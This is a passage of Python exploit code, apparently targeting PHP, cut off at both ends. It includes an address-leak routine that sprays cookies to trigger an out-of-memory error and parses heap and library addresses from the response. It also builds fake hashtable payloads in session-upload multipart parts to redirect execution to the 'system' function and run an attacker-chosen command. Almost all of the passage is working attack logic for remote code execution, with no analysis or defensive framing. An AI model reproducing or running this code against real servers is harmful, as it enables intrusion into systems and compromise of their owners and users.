pointer = int.from_bytes(raw[offset : offset + 8], "little")
if not 0x7F0000000000 <= pointer < 0x800000000000:
continue
chunks[pointer & ~0x1FFFFF] += 1
if (pointer & 0xFFF) == (self.destructor_offset & 0xFFF):
destructor_candidates[pointer] += 1
if not chunks:
return 0, 0
heap, heap_observations = chunks.most_common(1)[0]
if heap_observations < 8:
return 0, 0
for pointer, observations in destructor_candidates.most_common():
base = pointer - self.destructor_offset
if observations < 6:
break
if (base & 0xFFF) == 0 and (pointer & ~0x1FFFFF) != heap:
return heap, base
return 0, 0
def leak_addresses(self) -> tuple[int, int]:
cookie_spray = ("aa=v;" * 1001).rstrip(";")
status, closed, _, body = self.http.post(
self.compact_oom(execution=False),
b"S" * 17,
headers={"Cookie": cookie_spray},
)
if status != 200 or closed or b"Allowed memory size" not in body:
return 0, 0
status, closed, cookie, _ = self.http.post(
self.leak_reclaim(), b"B" * 10
)
if status != 200 or closed:
return 0, 0
return self.parse_addresses(cookie)
def execution_reclaim(self, fake_address: int, zif_system: int) -> list[Part]:
carrier = (
struct.pack("<II", 1, 0x1A)
+ struct.pack("<Q", fake_address)[:7]
)
parts = [
Part("PHPSESSID", self.session_id),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
]
parts.extend(
Part(str(1000 + index), carrier)
for index in range(self.layout.stock_execution_carriers)
)
fake = fake_hashtable_payload(
self.command, fake_address, zif_system, self.layout
)
for index in range(self.layout.stock_fake_fields):
value = bytearray(fake)
if index == self.layout.stock_reference_field:
struct.pack_into(
"<II", value, self.layout.stock_reference_offset, 1, 0x1A